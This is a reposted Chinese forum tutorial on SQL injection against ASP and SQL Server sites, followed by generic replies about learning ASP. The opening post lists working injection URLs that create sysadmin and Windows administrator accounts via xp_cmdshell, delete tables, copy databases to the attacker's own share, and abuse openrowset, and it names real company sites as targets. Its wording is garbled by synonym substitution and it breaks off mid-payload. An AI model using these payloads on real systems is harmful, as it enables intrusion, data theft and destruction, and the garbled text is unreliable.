仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 2330|回复: 20
打印 上一主题 下一主题

[学习教程] ASP网页编程之SQL数据库的一些进击(转)

[复制链接]
柔情似水 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-2-3 23:34:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
asp,jsp,php是web开发的三大技术,asp简单易用且有microsoft做靠山,jsp功能强大是因为有java支持,php则开源跨平台.在国内,asp应用范围最广,jsp发展势头最猛,php则处于劣势.这可能与公司的支持以及技术的培训有关.进击|数据|数据库   SQL数据库的一些进击

详细内容:


  关于国际外的良多旧事,BBS和电子商务网站都采取ASP+SQL设计,而写 ASP的法式员良多(有良多方才卒业的),所以,ASP+SQL的进击胜利率

也对照高。这类进击办法与NT的版本和SQL的版本没有多大的关系,也没有响应的补钉,由于破绽是法式员本人酿成的,并且大多半解说ASP编

程的书上,源代码例子就有这个破绽存在,其实只是一些正当的ASP对SQL的恳求,就留下后患无量!
这类进击办法最早源于or1=1的破绽(咱们暂且称其为破绽),这个破绽的道理我想人人因该都晓得了,那末随之而来的即是;exec

sp_addlogin hax(在数据库内添加一个hax用户),然而这个办法的限制很大,起首ASP利用的SQL Server账号是个办理员,其次恳求的提交变

量在全部SQL语句的最初,由于有一些法式员采取SELECT * FROM news WHERE id=... AND topic=... AND .....
这类办法恳求数据库,那末假如还用以上的例子就会
news.asp?id=2;exec sp_addlogin hax
酿成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
全部SQL语句在履行sp_addlogin的存储进程后有AND与判别存在,语法毛病,你的sp_addlogin天然也不克不及正常运转了,因而碰运气上面这个方


news.asp?id=2;exec sp_addlogin hax;--
前面的--符号把sp_addlogin后的判别语句酿成了正文,如许就不会有语法毛病了,sp_addlogin正常履行!
那末咱们连一同来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add;--
news.asp?id=2;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;--
如许,你在他的数据库和体系内都留下了hax办理员账号了
固然,条件前提是ASP用办理员账号,所以虚拟空间人人就别试了,不会存在这个破绽的。
今后咱们会会商,假如对方的ASP不是用SQL办理员账号,咱们若何入侵,固然也会触及到1433端口的入侵
固然人人可以碰运气在id=2前面加上一个符号,次要看对方的ASP怎样写了


再说说当ASP法式利用的SQL账号不是办理员的时分咱们该若何做。
你如天融信的主页,有旧事内容,以下:
http://www.talentit.com.cn/news/news-2.asp?newid=117
人人可以碰运气http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--
呵呵,报语法毛病,select 123毛病,不言而喻,天融新的ASP在newid变量前面用号停止
那末碰运气http://www.talentit.com.cn/news/news-2.asp?newid=117;delete news;--
哈哈,我想只需表名猜对了,旧事库就被删了

凡是ASP用的SQL账号就算不是办理员也会是某个数据库的owner,最少关于这个库有很高的办理权限
然而咱们不晓得库名该怎样?看看db_name()函数吧
翻开你的query analyzer,看看print db_name() ,呵呵,以后的数据库名就出来了
以次类推,以下: declare&nbsp@a sysname;set&nbsp@a=db_name();backup database&nbsp@a to disk=你的IP你的同享目次bak.dat ,name=test;--
呵呵,他确当前数据库就备份到你的硬盘上了,接上去要做的人人心里都分明了吧
同理这个办法可以找到对方的SQL的IP
先装一个防火墙,翻开ICMP和139TCP和445TCP的正告提醒
然后碰运气news.asp?id=2;exec master.dbo.xp_cmdshell ping 你的IP
假如防火墙提醒有人ping你,那末因该可以一定对方的ASP用的是SQL的办理员权限,同时也肯定了对方的SQL Server的正确地位,由于良多大

一点的网站思索功能,会吧web办事和数据库分隔,当对方大上了补钉看不到源代码时,我想只要这个办法能很快的定位对方的SQL Server的位

置了
那末,假如对方ASP没有SQL办理员权限,咱们就不克不及挪用xp_cmdshell了,该怎样办?
别焦急,碰运气这个news.asp?id=2;declare&nbsp@a;set&nbsp@a=db_name();backup database&nbsp@a to disk=你的IP你的同享目次bak.dat

,name=test;--
呵呵,你的防火墙该收回正告了,有人毗连你的445或139(win9端口了,如许,对方的SQL的ip一样也能够表露
那末假如对方连某个数据库的owner也不是的话,咱们该怎样办?下次我会告知人人一个更好的举措。
其实backuo database到你的硬盘仍是有点夸大了,假如对方数据库很复杂,你又是拨号上彀,呵呵,劝你别试了,很难胜利传输的
下次咱们还漫谈到若何骗过IDS履行ASP+SQL入侵
今朝有些好的IDS已入手下手监督xp_cmdshell这些关头字了
好吧,同志们下次见


一切以上url但愿人人经由过程vbscript提交,由于阅读器的地址栏会屏障一些特别字符,如许你的号令就不克不及完全传输了
window.location.herf=URL

增补:这个成绩之前载网上也提出来过,然而只是一些复杂的xp_cmdshell挪用限制很大,其实这外面还有良多值得深切的中央好比

www.guosen.com.cn。国信证卷就有这个成绩,并且他们采取ms的三层布局作的用之前说的xp_cmdshell做法就不可了,字符串会被过滤,然而

我测验考试了,用sql的异类恳求依然可以在对方的机械上开启telnet办事和administrators组的账号!因为对方防火墙很严checkpoint数据报进出

都只开放80端口因而,要想取得他的数据库布局对照坚苦了,然而仍是有举措可以做到的:P
特地提示人人注重一下关于sqloledb,db_name,openrowset,opendatasource这些体系函数当asp的sqlserver账号只是一个通俗用户时,他们会

很有效的!


sql server新破绽和一些冲破口


上面我要谈到一些sqlserver新的bug,固然自己经由长工夫的勉力,固然也有点侥幸的成份在内,才得以发明,不敢一团体独享,拿出来请人人

判别,固然很有能够有些高手早已晓得了,究竟我接触sqlserver的工夫不到1年:P

1。关于openrowset和opendatasource
能够这个技能早有人已会了,就是使用openrowset发送当地号令
凡是咱们的用法是(包含MSDN的列子)以下
select * from openrowset(sqloledb,myserver;sa;,select * from table)
可见(即便从字面意义上看)openrowset只是作为一个快捷的近程数据库会见,它必需跟在select前面,也就是说需求前往一个recordset
那末咱们能不克不及使用它挪用xp_cmdshell呢?谜底是一定的!
select * from openrowset(sqloledb,server;sa;,set fmtonly off exec master.dbo.xp_cmdshell dir c:\)
必需加上set fmtonly off用来屏障默许的只前往列信息的设置,如许xp_cmdshell前往的output纠合就会提交给后面的select显示,假如采取

默许设置,会前往空纠合招致select失足,号令也就没法履行了。
那末假如咱们要挪用sp_addlogin呢,他不会像xp_cmdshell前往任何纠合的,咱们就不克不及再依托fmtonly设置了,可以以下操作
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin Hectic)
如许,号令最少会前往select OK!的纠合,你的机械商会显示OK!,同时对方的数据库内也会增添一个Hectic的账号,也就是说,咱们使用

select OK!的前往纠合棍骗了当地的select恳求,是号令可以正常履行,通理sp_addsrvrolemember和opendatasource也能够如斯操作!至于

这个办法真实的用途,人人渐渐想吧:P

2。关于msdasql两次恳求的成绩
不晓得人人有无试过用msdasql毗连近程数据库,固然这个api必需是sqlserver的办理员才可以挪用,那末以下
select * from openrowset(msdasql,</p>  asp可以轻松地实现对页面内容的动态控制,根据不同的浏览者,显示不同的页面内容。而浏览者一点觉察不出来,就像为他专门制作的页面一样。使用各种各样的组件,asp可以完成无比强大的功能。
愤怒的大鸟 该用户已被删除
沙发
发表于 2015-2-4 02:29:20 | 只看该作者
我想问如何掌握学习节奏(先学什么再学什么)最好详细点?
再见西城 该用户已被删除
板凳
发表于 2015-2-7 02:03:00 | 只看该作者
从事这个行业,那么你可以学ASP语言,简单快速上手,熟练dreamweav排版,写asp代码,熟练photoshop处理图片,打好基础就行了
只想知道 该用户已被删除
地板
发表于 2015-2-9 21:13:46 | 只看该作者
下面简单介绍一下我学习ASP的方法,希望对想学习ASP的朋友有所帮助...
乐观 该用户已被删除
5#
发表于 2015-2-13 04:40:07 | 只看该作者
完全不知道到底自己学的是什么。最后,除了教程里面说的几个例子,还是什么都不会。
再现理想 该用户已被删除
6#
发表于 2015-3-3 13:36:52 | 只看该作者
完全不知道到底自己学的是什么。最后,除了教程里面说的几个例子,还是什么都不会。
变相怪杰 该用户已被删除
7#
发表于 2015-3-5 12:48:25 | 只看该作者
先学习用frontpage熟悉html编辑然后学习asp和vbscript建议买书进行系统学习
柔情似水 该用户已被删除
8#
 楼主| 发表于 2015-3-7 02:09:57 | 只看该作者
没有坚实的理论做基础,那么我们连踏入社会第一步的资本都没有,特别对于计算机专业的学生学好专业知识是置关重要的。在这里我侧重讲一下如何学习ASP,从平时的学习过程中。
9#
发表于 2015-3-9 03:27:04 | 只看该作者
跟学别的语言一样,先掌握变量,流程控制语句(就是ifwhileselect)等,函数/过程,数组
小妖女 该用户已被删除
10#
发表于 2015-3-11 12:52:02 | 只看该作者
我可以结合自己的经验大致给你说一说,希望对你有所帮助,少走些弯路。
兰色精灵 该用户已被删除
11#
发表于 2015-3-12 17:05:33 | 只看该作者
没有坚实的理论做基础,那么我们连踏入社会第一步的资本都没有,特别对于计算机专业的学生学好专业知识是置关重要的。在这里我侧重讲一下如何学习ASP,从平时的学习过程中。
分手快乐 该用户已被删除
12#
发表于 2015-3-20 00:45:19 | 只看该作者
作为IE上广为流传的动态网页开发技术,ASP以它简单易学博得了广大WEB程序爱好这的青睐,而且它对运行环境和开发品台的不挑剔,以及有大量有效的参考手册,极大的推广了它的发展。
精灵巫婆 该用户已被删除
13#
发表于 2015-4-1 20:08:41 | 只看该作者
最近在学asp,不要问我为什么不直接学.net,因为公司网站是asp做的所以有这个需要,卖了本书asp入门到精通,对里面的六大内置对象老是记不住,还有很多属性和方法看的头晕。
admin 该用户已被删除
14#
发表于 2015-4-12 15:55:42 | 只看该作者
我可以结合自己的经验大致给你说一说,希望对你有所帮助,少走些弯路。
山那边是海 该用户已被删除
15#
发表于 2015-4-16 17:11:54 | 只看该作者
我可以结合自己的经验大致给你说一说,希望对你有所帮助,少走些弯路。
老尸 该用户已被删除
16#
发表于 2015-4-21 21:21:31 | 只看该作者
ASP也是这几种脚本语言中最简单易学的开发语言。但ASP也是这几种语言中唯一的一个不能很好支持跨平台的语言。  因为ASP脚本语言非常简单,因此其代码也简单易懂,结合HTML代码,可快速地完成网站的应用程序。
活着的死人 该用户已被删除
17#
发表于 2015-4-26 05:09:12 | 只看该作者
先学习用frontpage熟悉html编辑然后学习asp和vbscript建议买书进行系统学习
谁可相欹 该用户已被删除
18#
发表于 2015-4-29 18:30:53 | 只看该作者
哪些内置对象是可以跳过的,或者哪些属性和方法是用不到的?
第二个灵魂 该用户已被删除
19#
发表于 2015-6-8 07:34:32 | 只看该作者
完全不知道到底自己学的是什么。最后,除了教程里面说的几个例子,还是什么都不会。
不帅 该用户已被删除
20#
发表于 2015-6-24 04:53:10 | 只看该作者
代码的可重用性差:由于是面向结构的编程方式,并且混合html,所以可能页面原型修改一点,整个程序都需要修改,更别提代码重用了。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-4-29 19:40

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表